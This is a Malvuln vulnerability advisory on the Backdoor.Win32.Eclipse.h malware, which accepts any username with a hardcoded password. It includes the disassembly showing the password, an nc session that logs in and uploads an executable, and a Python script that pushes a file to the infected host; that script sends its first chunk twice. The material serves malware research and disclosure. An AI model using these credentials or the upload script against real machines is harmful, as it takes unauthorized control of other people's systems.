Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/8b470931114527b4dce42034a95ebf46.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Eclipse.h
Vulnerability: Weak Hardcoded Credentials
Family: Eclipse
Type: PE32
MD5: 8b470931114527b4dce42034a95ebf46
Vuln ID: MVID-2022-0625
Disclosure: 07/21/2022
Description: The malware listens on TCP port 6210 and authentication is required. However, the backdoor accepts any USER name for authentication and the password "R-M" is weak and hardcoded within the PE file. Unpacking the UPX packed executable, easily reveals the cleartext hardcoded password.

00437590                 dd 3                    ; Len
00437590                 db 'R-M',0              ; Text
0043759C _str_6210       dd 0FFFFFFFFh           ; _top

Exploit/PoC:
C:\>nc64.exe 192.168.18.125 6210
220 Servidor FTP Temporal Ver. 2.1 por Vlad
USER malvuln
331 Password required for malvuln.
PASS R-M
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
MKD HATE
257 'C:\HATE': directory created.
CWD HATE
250 CWD command successful. "C:/HATE/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,213,228).
STOR DOOM_SM.exe
150 Opening data connection for DOOM_SM.exe.
226 File received ok

from socket import *

MALWARE_HOST="192.168.18.125"
PORT=54756
DOOM="DOOM_SM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()

    s.close()

    print("By Malvuln");

if __name__=="__main__":
    doit()


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